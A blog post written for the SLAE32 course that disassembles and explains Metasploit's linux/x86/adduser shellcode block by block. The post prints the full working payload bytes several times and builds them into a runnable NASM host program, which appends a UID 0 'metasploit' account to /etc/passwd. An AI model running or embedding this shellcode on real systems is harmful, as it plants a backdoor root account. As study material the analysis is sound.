SLAE32 Assignment 5.3 - Analyzing MSF adduser

14 minute read

Overview

For the fifth assignment in the SLAE32 course we were tasked with analyzing three shellcodes from the Metasploit Framework.

  • In this blog post we will be analyzing the linux/x86/adduser payload.
  • This shellcode will add the user metasploit to the system with UID 0.

adduser Shellcode Settings

root# msfvenom --payload linux/x86/adduser --list-options
Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create
Description:
  Create a new user with UID 0

Using Disasm to Dissemble the adduser Shellcode

root# msfvenom --payload linux/x86/adduser | ndisasm -u -
Payload size: 97 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

Breaking the Shellcode into Blocks

Block One

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
  • xor ecx,ecx
    • Clears the ecx register
    • Sets the Effective User ID to 0
  • mov ebx,ecx
    • Clears the ebx register
    • Sets the Real User ID to 0
  • push byte +0x46
    • Pushes 0x46 onto the stack
    • Hex 0x46 is 70 in decimal
    • This will be used for the systemcall
  • pop eax
    • Pops 0x46 from the stack into the eax register
  • int 0x80
    • Executes the setreuid Systemcall

Finding the Systemcall for 70

root#  cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 70
  #define __NR_setreuid            70

setreuid Man Page

root# man 2 setreuid
  setreuid, setregid - set real and/or effective user or group ID

setreuid C Function

int setreuid(uid_t ruid, uid_t euid);
       EAX      EBX         ECX
  • Coresponding assembly registers have been tagged.

setreuid C Function Arguments

  • uid_t ruid
    • Sets the real user id for the process to be run as
    • Our payloads real UID will be 0
  • uid_t euid
    • Sets the effective user id for the process to be run as
    • Our payloads effictive UID will be 0

Block Two

00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
  • Knowing that the eax register controls which systemcall will be executed, we look up what systemcall 5 is.
    root# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | egrep " 5$"
    #define __NR_open                 5
    

open() Man Pages

root# man 2 open
 open, creat - open and possibly create a file or device

Given  a  pathname  for  a  file, open() returns a file descriptor, a small, nonnegative 
integer for use in subsequent system calls(read(2), write(2), lseek(2), fcntl(2), etc.).

open() C Function

int open(const char *pathname, int flags);
    EAX        EBX               ECX
  • Coresponding assembly registers have been tagged.

Disecting the Assembly Code Block

  • push byte +0x5 & pop eax
    • This sets the eax register up for the open systemcall
  • xor ecx,ecx
    • Clears the ecx register
  • push ecx
    • Pushes a NULL dword onto the stack
    • This will be used to terminate the string
  • push dword 0x64777373
    • use command man ascii to reverse the string
    • \x64 is d
    • \x77 is w
    • \x73 is s
    • \x73 is s
    • “sswd”
  • push dword 0x61702f2f
    • \x61 is a
    • \x70 is p
    • \x2f is /
    • \x2f is /
    • ”//pa”
  • push dword 0x6374652f
    • \x63 is c
    • \x74 is t
    • \x65 is e
    • \x2f is /
    • “/etc”
  • mov ebx,esp
    • Puts the Memory Address of the top of the stack into the ebx register
    • Top of the stack is the string /etc/passwd + <NULL Terminated>
  • inc ecx
    • ECX: 0x1
  • mov ch,0x4
    • ECX: 0x401
    • This moves the byte \x04 into the high byte of the lower word in the ecx register
            ECX (whole register)
                      CX (lowest 2 bytes)
   _______________CH_____CL__  (CH & CL are 1 byte)
  |_\x00__\x00_|_\x04_|_\x01_|
   
  • Sets the flags for the open fuction to read/write.
  • int 0x80
    • Executes the open systemcall
  • xchg eax,ebx
    • The open systemcall returns a file descriptor that isstored in eax for the opened file
    • The value is saved for later by putting it into the ebx register

Block Three

E828000000        call 0x53
6D                insd
657461            gs jz 0x90
7370              jnc 0xa1
6C                insb
6F                outsd
69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
736A              jnc 0xa7
3470              xor al,0x70
3449              xor al,0x49
52                push edx
633A              arpl [edx],di
303A              xor [edx],bh
303A              xor [edx],bh
3A2F              cmp ch,[edi]
3A2F              cmp ch,[edi]
62696E            bound ebp,[ecx+0x6e]
2F                das
7368              jnc 0xba
0A598B            or bl,[ecx-0x75]
51                push ecx
FC                cld
6A04              push byte +0x4
58                pop eax
CD80              int 0x80
  • This block looks intimidating, but once we figure out that it’s mostly string operations, it’s not that bad.

We see before the systemcall that the eax register will hold the value 0x4. Let’s find the corresponding systemcall.

Finding systemcall 4 - write

root# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep ' 4$'
#define __NR_write                4

write C Function Man Pages

root# man 2 write

write C Function

ssize_t write(int fd, const void *buf, size_t count);
        EAX    EBX       ECX              EDX
  • call 0x53
    • This instruction is used to jump over the string.
    • The memory location of the string is pushed onto the stack.

Lets get a bettter view of what is going on here with this string by using gdb.

Getting the shellcode Hex

root# msfvenom --payload linux/x86/adduser --format python | grep buf |\
> sed 's/buf /sc /g'
sc =  ""
sc += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
sc += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
sc += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
sc += "\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69"
sc += "\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49"
sc += "\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
sc += "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
sc += "\x80\x6a\x01\x58\xcd\x80"

Formatting the Shellcode

#!/usr/bin/python
# Filename: formatHex.py
# Author:   boku
# Purpose:  A python script that converts the '\x' format to '0x ,'
# Add the shellcode hex here.
sc =  ""
sc += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
sc += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
sc += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
sc += "\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69"
sc += "\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49"
sc += "\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
sc += "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
sc += "\x80\x6a\x01\x58\xcd\x80"
output = ""
for x in bytearray(sc) :
        output += '0x'
        output += '%02x,' %x
print output

Getting the Formatted Shellcode

root# python formatHex.py
0x31,0xc9,0x89,0xcb,0x6a,0x46,0x58,0xcd,0x80,0x6a,0x05,\
0x58,0x31,0xc9,0x51,0x68,0x73,0x73,0x77,0x64,0x68,0x2f,\
0x2f,0x70,0x61,0x68,0x2f,0x65,0x74,0x63,0x89,0xe3,0x41,\
0xb5,0x04,0xcd,0x80,0x93,0xe8,0x28,0x00,0x00,0x00,0x6d,\
0x65,0x74,0x61,0x73,0x70,0x6c,0x6f,0x69,0x74,0x3a,0x41,\
0x7a,0x2f,0x64,0x49,0x73,0x6a,0x34,0x70,0x34,0x49,0x52,\
0x63,0x3a,0x30,0x3a,0x30,0x3a,0x3a,0x2f,0x3a,0x2f,0x62,\
0x69,0x6e,0x2f,0x73,0x68,0x0a,0x59,0x8b,0x51,0xfc,0x6a,\
0x04,0x58,0xcd,0x80,0x6a,0x01,0x58,0xcd,0x80

Adding the shellcode to the host program

; Filename: jmpCallPop.nasm
; Author:  Bobby Cooke
global _start
section .text
_start:
; 1. Jump to where our Shellcode string is
  jmp short call_shellcode
jmp2_shellcode:
; 3. Now that the memory location of our string is on the top of the
;     stack, we will pass control to it using the jmp instruction.
  pop eax
  jmp eax
call_shellcode:
; 2. Call to the instruction that will jump us into our Shellcode
;    - Call is like jump, but stores the memory location of the next
;       instruction onto the Stack; which is our Shellcode.
  call jmp2_shellcode
  shellcode: db 0x31,0xc9,0x89,0xcb,0x6a,0x46,0x58,0xcd,0x80,0x6a,0x05,\
0x58,0x31,0xc9,0x51,0x68,0x73,0x73,0x77,0x64,0x68,0x2f,\
0x2f,0x70,0x61,0x68,0x2f,0x65,0x74,0x63,0x89,0xe3,0x41,\
0xb5,0x04,0xcd,0x80,0x93,0xe8,0x28,0x00,0x00,0x00,0x6d,\
0x65,0x74,0x61,0x73,0x70,0x6c,0x6f,0x69,0x74,0x3a,0x41,\
0x7a,0x2f,0x64,0x49,0x73,0x6a,0x34,0x70,0x34,0x49,0x52,\
0x63,0x3a,0x30,0x3a,0x30,0x3a,0x3a,0x2f,0x3a,0x2f,0x62,\
0x69,0x6e,0x2f,0x73,0x68,0x0a,0x59,0x8b,0x51,0xfc,0x6a,\
0x04,0x58,0xcd,0x80,0x6a,0x01,0x58,0xcd,0x80

Compiling the Host Program

root# nasm -f elf32 jmpCallPop.nasm -o jmpCallPop.o
root# ld jmpCallPop.o -o jmpCallPop

Running with gdb and setting Breakpoint

root# gdb ./jmpCallPop
gdb-peda$ info functions
  0x0804806a  shellcode
gdb-peda$ b shellcode
  Breakpoint 1 at 0x804806a
gdb-peda$ run

Analyzing with gdb

Here we see that our assumptions were correct about these three instructions pushing the string /etc//passwd/ onto the top of the stack.

   0x8048079 <shellcode+15>:    push   0x64777373
   0x804807e <shellcode+20>:    push   0x61702f2f
   0x8048083 <shellcode+25>:    push   0x6374652f
=> 0x8048088 <shellcode+30>:    mov    ebx,esp
   0x804808a <shellcode+32>:    inc    ecx
   0x804808b <shellcode+33>:    mov    ch,0x4
   0x804808d <shellcode+35>:    int    0x80
   0x804808f <shellcode+37>:    xchg   ebx,eax
[------------------stack------------------------] 
0000| 0xbffff5a0 ("/etc//passwd")

Interestingly when using nidasm or gdb$ disassemble the instructions read as:

00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld

Although when stepping through the shellcode with gdb, and looking at the instructions, we see that after the call 0x53 it reads as:

   0x8048090 <shellcode+38>:    call   0x80480bd <shellcode+83>
----------------------
=> 0x80480bd <shellcode+83>:    pop    ecx
   0x80480be <shellcode+84>:    mov    edx,DWORD PTR [ecx-0x4]
   0x80480c1 <shellcode+87>:    push   0x4
   0x80480c3 <shellcode+89>:    pop    eax
  • pop ecx
    • This puts the memory address of our user string into the ecx register.
    • This is to fufill the const void *buf arguement in the write() function.
ECX: 0x8048095 (<shellcode+43>: ins    DWORD PTR es:[edi],dx)
gdb-peda$ x/s $ecx
0x8048095 <shellcode+43>:"metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"
  • Here we can see that the address of the string on the stack is in the ecx register.
  • We use the gdb examine command x to see the string at the memory location.

At the time of the write systemcall, the relative registers are set to:

EAX: 0x4
EBX: 0x7
ECX: 0x8048095 (<shellcode+43>: ins    DWORD PTR es:[edi],dx)
EDX: 0x28 ('(')
  • The edx register is set to 0x28 because this is the length of our string that will be added to the /etc/passwd file.

Block Four

0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80
  • This block of code is simply the exit systemcall. We know this because eax is set to the value of 0x1. The exit function only has one optional arguement that can be set with the ebx register.
    • It is the exit code number.
    • In this shellcode it is not set.

Checking the Effects of the Shellcode

root# cat /etc/passwd
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
  • A user named metasploit was successfully added to the device.
  • The added user has the intended UID 0.
  • The user has the intended shell, /bin/sh.
  • Oddly the users password is Az/dIsj4p4IRc.

Reason for odd password string

testing the login

user$ tail -n 1 /etc/passwd
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
user$ su metasploit
Password: metasploit
# id
uid=0(root) gid=0(root) groups=0(root)
#
  • After testing the login we see we can login with the intended password “metasploit”.
  • The reason the password looks odd is becuase it is being saved as a hash string.

SLAE32 Blog Proof

This blog post has been created for completing the requirements
 of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
	- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913

Updated: